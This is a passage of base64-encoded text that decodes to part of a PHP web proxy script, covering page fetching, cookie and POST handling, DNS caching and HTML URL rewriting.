GZwLDIpOw0KCQl9DQoJfQ0KDQoJLy8gQ29udGVudC1MZW5ndGggc3R1ZmYgLSBjb21tZW50ZWQgZm9yIGV2ZW4gbW9yZSBjaG9jb2xhdGV5IGdvb2RuZXNzDQoJLyplbHNlaWYoJGhlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF0hPW51bGwpew0KCQkkY29ubGVuPSRoZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdOw0KCQkkYm9keT1udWxsOw0KCQlmb3IoJGk9MDskaTwkY29ubGVuOyRpKz0kcmVhZCl7DQoJCQkkcmVhZD0oJGNvbmxlbi0kaTw4MTkyPyRjb25sZW4tJGk6ODE5Mik7DQoJCQkkYnl0ZT1mcmVhZCgkZnAsJHJlYWQpOw0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gJGJ5dGU7DQoJCQllbHNlICRib2R5Lj0kYnl0ZTsNCgkJfQ0KCX0qLw0KDQoJZWxzZXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fZ2V0X2NvbnRlbnRzJykpew0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkZnApOw0KCQkJZWxzZSAkYm9keT1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRmcCk7DQoJCX0NCgkJZWxzZXsNCgkJCSRib2R5PW51bGw7DQoJCQl3aGlsZSh0cnVlKXsNCgkJCQkkY2h1bms9ZnJlYWQoJGZwLDgxOTIpOw0KCQkJCWlmKGVtcHR5KCRjaHVuaykpIGJyZWFrOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQl9DQoJCX0NCgl9DQoNCglmY2xvc2UoJGZwKTsNCglyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCWlmKEdaSVBfUFJPWFlfU0VSVkVSICYmICRoZWFkZXJzWydjb250ZW50LWVuY29kaW5nJ11bMF09PSdnemlwJykgJGJvZHk9Z3ppbmZsYXRlKHN1YnN0cigkYm9keSwxMCkpOw0KCWlmKCRqdXN0b3V0cHV0KXsNCgkJaWYoISRqdXN0b3V0cHV0bm93KSBlY2hvICRib2R5Ow0KCQlmaW5pc2goKTsNCgl9DQoJcmV0dXJuIGFycmF5KCRib2R5LCR1cmwsJGNvb2tfcHJlZml4KTsNCg0KfQ0KDQojIH19fQ0KDQojIH19fQ0KDQojIFBST1hZIEVYRUNVVElPTiB7e3sNCg0KIyBQUk9YWSBFWEVDVVRJT046IFVTRVIgQ09PS0lFUyB7e3sNCg0KZ2xvYmFsICRwcm94eV92YXJpYWJsZXM7DQokcHJveHlfdmFyaWFibGVzPWFycmF5KENPT0tfUFJFRixDT09LX1BSRUYuJ19waXAnLENPT0tfUFJFRi4nX3Bwb3J0JyxDT09LX1BSRUYuJ191c2VyYWdlbnQnLENPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQnLENPT0tfUFJFRi4nX3VybF9mb3JtJyxDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyxDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsQ09PS19QUkVGLidfZW5jcnlwdF91cmxzJyxDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyk7DQoNCmlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3NldF92YWx1ZXMnXSl7DQoJJHByb3h5X3ZhcmJsYWNrbGlzdD1hcnJheShDT09LX1BSRUYpOw0KCWlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nMScpew0KCQl1bnNldCgkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOw0KCQlkb3NldGNvb2tpZShDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0JyxmYWxzZSwwKTsNCgl9DQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaW5fYXJyYXkoJHZhbCwkcHJveHlfdmFyYmxhY2tsaXN0KSl7DQoJCQlkb3NldGNvb2tpZSgkdmFsLGZhbHNlLDApOw0KCQkJaWYoaXNzZXQoJHBvc3RhbmRnZXRbJHZhbF0pICYmICFlbXB0eSgkcG9zdGFuZGdldFskdmFsXSkpIGRvc2V0Y29va2llKCR2YWwsJHBvc3RhbmRnZXRbJHZhbF0pOw0KCQl9DQoJfQ0KCSR0aGV1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybChPUklHX1VSTCksUEFHRVRZUEVfRlJBTUVfVE9QKTsNCgkjJHRoZXVybD1zdXJyb2dhZnlfdXJsKChFTkNSWVBUX1VSTFM/cHJveGRlYygkdGhldXJsKTokdGhldXJsKSxudWxsKTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JHRoZXVybH0iKTsNCglmaW5pc2goKTsNCn0NCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBST1hZIEdFVC9QT1NUL0NPT0tJRVMge3t7DQoNCmRlZmluZSgnUElQJywoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ106REVGQVVMVF9UVU5ORUxfUElQKSk7DQpkZWZpbmUoJ1BQT1JUJyxpbnR2YWwoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcHBvcnQnXTpERUZBVUxUX1RVTk5FTF9QUE9SVCkpOw0KDQpkZWZpbmUoJ0VOQ1JZUFRfQ09PS1MnLGdldGhhcmRhdHRyKCdlbmNyeXB0X2Nvb2tzJykpOw0KDQpnbG9iYWwgJHJlZmVyZXI7DQppZigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ109PW51bGwpew0KCSRyZWZ1cmxvYmo9bmV3IGF1cmwoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsNCgkkcmVmZXJlcj1wcm94ZGVjKHByZWdfcmVwbGFjZSgnL15bXHNcU10qJy5DT09LX1BSRUYuJz0oW14mXSopW1xzXFNdKiQvaScsJ1wxJywkcmVmdXJsb2JqLT5nZXRfcGF0aCgpKSk7ICMqDQp9DQplbHNlICRyZWZlcmVyPW51bGw7DQoNCiMkZ2V0a2V5cz1hcnJheV9rZXlzKCRfR0VUKTsNCiNmb3JlYWNoKCRnZXRrZXlzIGFzICRnZXR2YXIpeyBpZighaW5fYXJyYXkoJGdldHZhciwkcHJveHlfdmFyaWFibGVzKSl7ICRjdXJyX3VybC49KHN0cnBvcygkY3Vycl91cmwsJz8nKT09PWZhbHNlPyc/JzonJicpLiIkZ2V0dmFyPSIudXJsZW5jb2RlKCRfR0VUWyRnZXR2YXJdKTsgfSB9DQoNCmdsb2JhbCAkcG9zdF92YXJzOw0KJHBvc3RfdmFycz1udWxsOw0KJHBvc3RrZXlzPWFycmF5X2tleXMoJF9QT1NUKTsNCmZvcmVhY2goJHBvc3RrZXlzIGFzICRwb3N0a2V5KXsNCglpZighaW5fYXJyYXkoJHBvc3RrZXksJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaXNfYXJyYXkoJF9QT1NUWyRwb3N0a2V5XSkpDQoJCQkkcG9zdF92YXJzLj0oJHBvc3RfdmFycyE9bnVsbD8nJic6bnVsbCkuaHR0cGNsZWFuKCRwb3N0a2V5KS4nPScuaHR0cGNsZWFuKCRfUE9TVFskcG9zdGtleV0pOw0KCQllbHNlew0KCQkJZm9yZWFjaCgkX1BPU1RbJHBvc3RrZXldIGFzICRwb3N0dmFsKQ0KCQkJCSRwb3N0X3ZhcnMuPSgkcG9zdF92YXJzIT1udWxsPycmJzpudWxsKS5odHRwY2xlYW4oJHBvc3RrZXkpLiclNUIlNUQ9Jy5odHRwY2xlYW4oJHBvc3R2YWwpOw0KCQl9DQoJfQ0KfQ0KdW5zZXQoJHBvc3RrZXlzKTsNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IEROUyBDQUNIRSB7e3sNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlsnRE5TX0NBQ0hFX0FSUkFZJ10pKSAkZG5zX2NhY2hlX2FycmF5PWFycmF5KCk7DQplbHNlICRkbnNfY2FjaGVfYXJyYXk9JF9TRVNTSU9OWydETlNfQ0FDSEVfQVJSQVknXTsNCg0KIyBwdXJnZSBvbGQgcmVjb3JkcyBmcm9tIEROUyBjYWNoZQ0Kd2hpbGUobGlzdCgka2V5LCRlbnRyeSk9ZWFjaCgkZG5zX2NhY2hlX2FycmF5KSl7DQoJaWYoJGVudHJ5Wyd0aW1lJ108dGltZSgpLShETlNfQ0FDSEVfRVhQSVJFKjYwKSkgdW5zZXQoJGRuc19jYWNoZV9hcnJheVska2V5XSk7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRVhFQ1VUSU9OOiBQQUdFIFJFVFJJRVZBTCB7e3sNCg0KJHBhZ2VzdHVmZj1nZXRwYWdlKCRjdXJyX3VybCk7DQokYm9keT0kcGFnZXN0dWZmWzBdOw0KDQokdGJvZHk9dHJpbSgkYm9keSk7DQppZigoJHRib2R5ezB9PT0nIicgJiYgc3Vic3RyKCR0Ym9keSwtMSk9PSciJykgfHwgKCR0Ym9keXswfT09J1wnJyAmJiBzdWJzdHIoJHRib2R5LC0xKT09J1wnJykpew0KCWVjaG8gJGJvZHk7DQoJZmluaXNoKCk7DQp9DQp1bnNldCgkdGJvZHkpOw0KDQokY3Vycl91cmw9JHBhZ2VzdHVmZlsxXTsNCmRlZmluZSgnUEFHRUNPT0tfUFJFRklYJywkcGFnZXN0dWZmWzJdKTsNCnVuc2V0KCRwYWdlc3R1ZmYpOw0KZGVmaW5lKCdDT05URU5UX1RZUEUnLHByZWdfcmVwbGFjZSgnL14oW2EtejAtOVwtXC9dKykuKiQvaScsJ1wxJywkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKTsgIyoNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORyB7e3sNCg0KaWYoc3RycG9zKCRib2R5LCc8YmFzZScpKXsNCgkkYmFzZT1wcmVnX3JlcGxhY2UoJy9eLionLkJBU0VfUkVHRVhQLicuKiQvaXMnLCdcMScsJGJvZHkpOw0KCWlmKCFlbXB0eSgkYmFzZSkgJiYgJGJhc2UhPSRib2R5ICYmICFlbXB0eSgkYmFzZXsxMDB9KSl7DQoJCSRib2R5PXByZWdfcmVwbGFjZSgnLycuQkFTRV9SRUdFWFAuJy9pJyxudWxsLCRib2R5KTsNCg0KCQkvL3ByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2knLCRiYXNlKT4wDQoJCWlmKCgkYmFzZXswfT09JyInICYmIHN1YnN0cigkYmFzZSwtMSk9PSciJykgfHwgKCRiYXNlezB9PT0nXCcnICYmIHN1YnN0cigkYmFzZSwtMSk9PSdcJycpKQ0KCQkJJGJhc2U9c3Vic3RyKCRiYXNlLDEsc3RybGVuKCRiYXNlKS0yKTsgIyoNCgkJJGN1cnJfdXJsPSRiYXNlOw0KCX0NCgl1bnNldCgkYmFzZSk7DQp9DQoNCmdsb2JhbCAkY3Vycl91cmxvYmo7DQokY3Vycl91cmxvYmo9bmV3IGF1cmwoJGN1cnJfdXJsKTsNCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORzogUEFSU0lORyBGVU5DVElPTlMge3t7DQoNCmZ1bmN0aW9uIHBhcnNlX2h0bWwoJHJlZ2V4cCwkcGFydG9wYXJzZSwkaHRtbCwkYWRkcHJveHksJGZyYW1pZnkpew0KCWdsb2JhbCAkY3Vycl91cmxvYmo7DQoJJG5ld2h0bWw9bnVsbDsNCgl3aGlsZShwcmVnX21hdGNoKCRyZWdleHAsJGh0bWwsJG1hdGNoYXJyLFBSRUdfT0ZGU0VUX0NBUFRVUkUpKXsNCgkJJG51cmw9c3Vycm9nYWZ5X3VybCgkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdLCRjdXJyX3VybG9iaiwkYWRkcHJveHkpOw0KCQlpZigkZnJhbWlmeSkgJG51cmw9ZnJhbWlmeV91cmwoJG51cmwsJGZyYW1pZnkpOw0KCQkkYmVnaW49JG1hdGNoYXJyWyRwYXJ0b3BhcnNlXVsxXTsNCgkJJGVuZD0kbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzFdK3N0cmxlbigkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdKTsNCgkJJG5ld2h0bWwuPXN1YnN0cl9yZXBsYWNlKCRodG1sLCRudXJsLCRiZWdpbik7DQoJCSRodG1sPXN1YnN0cigkaHRtbCwkZW5kLHN0cmxlbigkaHRtbCktJGVuZCk7DQoJfQ0KCSRuZXdodG1sLj0kaHRtbDsNCglyZXR1cm4gJG5ld2h0bWw7DQp9DQoNCmZ1bmN0aW9uIHJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCR0aGV2YXIpew0KCSMkcmVnZXhwX2FycmF5WzJdLj0nUyc7ICMgaW4gYmVuY2htYXJrcywgdGhpcyAnb3B0aW1pemF0aW9uJyBhcHBlYXJlZCB0byBub3QgZG8gYW55dGhpbmcgYXQgYWxsLCBvciBwb3NzaWJseSBldmVuIHNsb3cgdGhpbmdzIGRvd24NCglpZigkcmVnZXhwX2FycmF5WzBdPT0xKSAkbmV3dmFyPXByZWdfcmVwbGFjZSgkcmVnZXhwX2FycmF5WzJdLCRyZWdleHBfYXJyYXlbM10sJHRoZXZhcik7DQoJZWxzZWlmKCRyZWdleHBfYXJyYXlbMF09PTIpew0KCQkkYWRkcHJveHk9KGlzc2V0KCRyZWdleHBfYXJyYXlbNF0pPyRyZWdleHBfYXJyYXlbNF06dHJ1ZSk7DQoJCSRmcmFtaWZ5PShpc3NldCgkcmVnZXhwX2FycmF5WzVdKT8kcmVnZXhwX2FycmF5WzVdOmZhbHNlKTsNCgkJJG5ld3Zhcj1wYXJzZV9odG1sKCRyZWdleHBfYXJyYXlbMl0sJHJlZ2V4cF9hcnJheVszXSwkdGhldmFyLCRhZGRwcm94eSwkZnJhbWlmeSk7DQoJfQ0KCXJldHVybiAkbmV3dmFyOw0KfQ0KDQpmdW5jdGlvbiBwYXJzZV9hbGxfaHRtbCgkaHRtbCl7DQoJZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQoJaWYoQ09OVEVOVF9UWVBFIT0ndGV4dC9odG1sJyl7DQoJCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCQlpZigka2V5PT1DT05URU5UX1RZUEUpew0KCQkJCWZvcmVhY2goJGFyciBhcyAkcmVnYXJyKXsNCgkJCQkJaWYoJHJlZ2Fycj09bnVsbCkgY29udGludWU7DQoJCQkJCSRodG1sPXJlZ3VsYXJfZXhwcmVzcygkcmVnYXJyLCRodG1sKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRodG1sOw0KCX0NCg0KCSNpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpICRzcGxpdGFycj1hcnJheSgkaHRtbCk7DQoJJHNwbGl0YXJyPXByZWdfc3BsaXQoJy8oPCEtLSg/IVxbaWYpLio/LS0+fDxzdHlsZS4qPzxcL3N0eWxlPnw8c2NyaXB0Lio/PFwvc2NyaXB0PikvaXMnLCRodG1sLC0xLFBSRUdfU1BMSVRfREVMSU1fQ0FQVFVSRSk7DQoJdW5zZXQoJGh0bWwpOw0KDQoJLy9kZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsJyggb25bYS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/OlteXCddKylcJ3xbXiJcJyA+XVteID5dK1teIlwnID5dKSknKTsNCgkkZmlyc3RydW49dHJ1ZTsNCgkkZmlyc3Rqc3J1bj10cnVlOw0KCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCWlmKCRrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCg0KCQkvLyBPUFRJT04xOiB1c2UgT05MWSBpZiBubyBKYXZhc2NyaXB0IFJFR0VYUFMgYWZmZWN0IEhUTUwgc2VjdGlvbnMNCgkJLy8gYW5kIGFsbCBIVE1MIG1vZGlmeWluZyBKYXZhc2NyaXB0IFJFR0VYUFMgYXJlIHBlcmZvcm1lZCBhZnRlciBIVE1MIHJlZ2V4cHMNCgkJLy8gVGhpcyBnaXZlcyBhIHByZXR0eSBzaWduaWZpY2FudCBzcGVlZCBib29zdA0KCQkvLyBJZiB1c2VkLCBtYWtlIHN1cmUgIk9QVElPTjIiIGxpbmVzIGFyZSBjb21tZW50ZWQsIGFuZCBvdGhlciAiT1BUSU9OMSIgbGluZXMgQVJFTidUDQoJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgYnJlYWs7DQoJCQkkc3BsaXRhcnIyPWFycmF5KCk7DQoJCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCQkkc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvJy5SRUdFWFBfU0NSSVBUX09ORVZFTlQuJy9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJfQ0KCQl9DQoJCS8vIEVORCBPUFRJT04xDQoNCgkJIyBmaXJzdHJ1biByZW1vdmUgc2NyaXB0czogb248ZXZlbnQ+cyBhbmQgbm9zY3JpcHQgdGFnczsgYWxzbyByZW1vdmUgb2JqZWN0cw0KCQlpZigkZmlyc3RydW4gJiYgKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSB8fCAhZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpKXsNCgkJCWZvcigkaT0wOyRpPGNvdW50KCRzcGxpdGFycik7JGkrPTIpew0KCQkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkNCgkJCQkJJHNwbGl0YXJyWyRpXT1wcmVnX3JlcGxhY2UoJy8oPzonLlJFR0VYUF9TQ1JJUFRfT05FVkVOVC4nfDwuP25vc2NyaXB0PikvaXMnLG51bGwsJHNwbGl0YXJyWyRpXSk7DQoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKQ0KCQkJCQkkc3BsaXRhcnJbJGldPXByZWdfcmVwbGFjZSgnLzwoZW1iZWR8b2JqZWN0KS4qPzxcL1wxPi9pcycsbnVsbCwkc3BsaXRhcnJbJGldKTsNCgkJCX0NCgkJfQ0KDQoJCWZvcmVhY2goJGFyciBhcyAkcmVnZXhwX2FycmF5KXsNCgkJCWlmKCRyZWdleHBfYXJyYXk9PW51bGwpIGNvbnRpbnVlOw0KCQkJZm9yKCRpPTA7JGk8Y291bnQoJHNwbGl0YXJyKTskaSsrKXsNCg0KCQkJCSMgcGFyc2Ugc2NyaXB0cyBmb3Igb248ZXZlbnQ+cw0KCQkJCWlmKCRpJTI9PTAgJiYgaXNzZXQoJHNwbGl0YXJyMikgJiYgJHJlZ2V4cF9hcnJheVsxXT09Mil7IC8vIE9QVElPTjENCg0KCQkJCS8vIE9QVElPTjINCgkJCQkvL2lmKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgJGklMj09MCl7IC8vIE9QVElPTjINCgkJCQkJLy8kc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvKCBvblthLXpdezMsMjB9PSg/OiIoPzpbXiJdKykifFwnKD86W15cJ10rKVwnfFteIlwnID5dW14gPl0rW14iXCcgPl0pKS9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJCQkvLyBFTkQgT1BUSU9OMg0KDQoJCQkJCS8vaWYoY291bnQoJHNwbGl0YXJyMlskaV0pPDIpICRzcGxpdGFyclskaV09cmVndWxhcl9leHByZXNzKCRyZWdleHBfYXJyYXksJHNwbGl0YXJyWyRpXSk7IC8vIFVOUkVMQVRFRCBUTyBPUFRJT05TDQoJCQkJCWlmKGNvdW50KCRzcGxpdGFycjJbJGldKT4xKXsNCgkJCQkJCWZvcigkaj0xOyRqPGNvdW50KCRzcGxpdGFycjJbJGldKTskais9Mil7DQoJCQkJCQkJJGJlZ2luPXByZWdfcmVwbGFjZSgnL14oW149XSs9LikuKiQvaScsJ1wxJywkc3BsaXRhcnIyWyRpXVskal0pOw0KCQkJCQkJCSRxdW90ZT1zdWJzdHIoJGJlZ2luLC0xKTsNCgkJCQkJCQlpZigkcXVvdGUhPSciJyAmJiAkcXVvdGUhPSdcJycpew0KCQkJCQkJCQkkcXVvdGU9bnVsbDsNCgkJCQkJCQkJJGJlZ2luPXN1YnN0cigkYmVnaW4sMCwtMSk7DQoJCQkJCQkJfQ0KCQkJCQkJCSRjb2RlPXByZWdfcmVwbGFjZSgnL15bXj1dKz0nLigkcXVvdGU9PW51bGw/JyguKikkL2knOicuKC4qKS4kL2knKSwnXDEnLCRzcGxpdGFycjJbJGldWyRqXSk7DQoJCQkJCQkJaWYoc3Vic3RyKCRjb2RlLDAsMTEpPT0namF2YXNjcmlwdDonKXsNCgkJCQkJCQkJJGJlZ2luLj0namF2YXNjcmlwdDonOw0KCQkJCQkJCQkkY29kZT1zdWJzdHIoJGNvZGUsMTEpOw0KCQkJCQkJCX0NCgkJCQkJCQlpZigkZmlyc3Rqc3J1bikgJGNvZGU9Ijt7JGNvZGV9OyI7DQoJCQkJCQkJJHNwbGl0YXJyMlskaV1bJGpdPSRiZWdpbi5yZWd1bGFyX2V4cHJlc3MoJHJlZ2V4cF9hcnJheSwkY29kZSkuJHF1b3RlOw0KCQkJCQkJfQ0KCQkJCQkJLy8kc3BsaXRhcnJbJGldPWltcGxvZGUobnVsbCwkc3BsaXRhcnIyWyRpXSk7IC8vIE9QVElPTjINCgkJCQkJfQ0KCQkJCX0NCg0KCQkJCSMgcmVtb3ZlIHNjcmlwdHMNCgkJCQllbHNlaWYoJGZpcnN0cnVuICYmICFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpDQoJCQkJCSRzcGxpdGFyclskaV09bnVsbDsNCg0KCQkJCSMgcGFyc2UgdmFsaWQgc3R1ZmYNCgkJCQllbHNlaWYoKCRpJTI9PTAgJiYgJHJlZ2V4cF9hcnJheVsxXT09MSkgfHwgKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwwLDcpKT09JzxzY3JpcHQnKSB8fCAoJGtleT09J3RleHQvY3NzJyAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNikpPT0nPHN0eWxlJykpew0KCQkJCQkkc3BsaXRhcnJbJGldPXJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCRzcGxpdGFyclskaV0pOw0KCQkJCX0NCg0KCQkJCSMgc2NyaXB0IHB1cmdlIGNsZWFudXANCgkJCQlpZigkZmlyc3RydW4gJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwtOSkpPT0nPC9zY3JpcHQ+JyAmJiAhcHJlZ19tYXRjaCgnL15bXj5dKnNyYy9pJywkc3BsaXRhcnJbJGldKSl7DQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvJy5FTkRfT0ZfU0NSSVBUX1RBRy4nJC9pJywnOycuQ09PS19QUkVGLicucHVyZ2UoKTsvLy0tPjwvc2NyaXB0PicsJHNwbGl0YXJyWyRpXSk7DQoJCQkJfQ0KDQoJCQl9DQoNCgkJCSRmaXJzdHJ1bj1mYWxzZTsNCgkJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKQ0KCQkJCSRmaXJzdGpzcnVuPWZhbHNlOw0KCQl9DQoJfQ0KDQoJLy8gT1BUSU9OMQ0KDQoJaWYoZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpew0KCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCSRzcGxpdGFyclskaV09aW1wbG9kZShudWxsLCRzcGxpdGFycjJbJGldKTsNCgkJfQ0KCX0NCgkvLyBFTkQgT1BUSU9OMQ0KDQoJcmV0dXJuIGltcGxvZGUobnVsbCwkc3BsaXRhcnIpOw0KfQ0KDQojIH19fQ0KDQovLyRzdGFydHRpbWU9bWljcm90aW1lKHRydWUpOyAjIEJFTkNITUFSSw0KJGJvZHk9cGFyc2VfYWxsX2h0bWwoJGJvZHkpOw0KLy8kcGFyc2V0aW1lPW1pY3JvdGltZSh0cnVlKS0kc3RhcnR0aW1lOyAjIEJFTkNITUFSSw0KDQojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQUk9YWSBIRUFERVJTL0pBVkFTQ1JJUFQge3t7DQoNCmlmKENPTlRFTlRfVFlQRT09J3RleHQvaHRtbCcpew0KCSRiaWdfaGVhZGVycz0nPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4nLg0KCQkJKFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX1BBR0U/JzxiYXNlIHRhcmdldD0iX3RvcCI+JzpudWxsKS4NCgkJCSc8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Iicuc3Vycm9nYWZ5X3VybCgkY3Vycl91cmxvYmotPmdldF9wcm90bygpLic6Ly8nLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nL2Zhdmljb24uaWNvJykuJyIgLz4nLg0KCQkJKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJ10pPw0KCQkJCSc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSInLlRISVNfU0NSSVBULic/anNfZnVuY3MnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iJy5USElTX1NDUklQVC4nP2pzX3JlZ2V4cHMnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jy4NCgkJCQkvLyc8IS0tJy4NCgkJCQlDT09LX1BSRUYuJy5ET0NVTUVOVF9SRUZFUkVSPSInLihVUkxfRk9STT9zdHJfcmVwbGFjZSgnIicsJ1xcIicsJHJlZmVyZXIpOm51bGwpLiciOycuDQoJCQkJQ09PS19QUkVGLicuQ1VSUl9VUkw9Iicuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0X3VybCgpKS4nIitsb2NhdGlvbi5oYXNoOycuQ09PS19QUkVGLicuZ2VuX2N1cnJfdXJsb2JqKCk7Jy4NCgkJCQlDT09LX1BSRUYuJy5MT0NBVElPTl9TRUFSQ0g9IicuKCRjdXJyX3VybG9iai0+Z2V0X3F1ZXJ5KCkhPW51bGw/Jz8nLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9xdWVyeSgpKTpudWxsKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkxPQ0FUSU9OX0hPU1ROQU1FPSInLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpLiciOycuDQoJCQkJQ09PS19QUkVGLicuTE9DQVRJT05fUE9SVD0iJy5zdHJfcmVwbGFjZSgnIicsJ1xcIicsJGN1cnJfdXJsb2JqLT5nZXRfcG9ydHZhbCgpKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkVOQ1JZUFRfVVJMUz0nLmJvb2xfdG9fanMoRU5DUllQVF9VUkxTKS4nOycuDQoJCQkJQ09PS19QUkVGLicuRU5DUllQVF9DT09LUz0nLmJvb2xfdG9fanMoRU5DUllQVF9DT09LUykuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlVSTF9GT1JNPScuYm9vbF90b19qcyhVUkxfRk9STSkuJzsnLg0KCQkJCUNP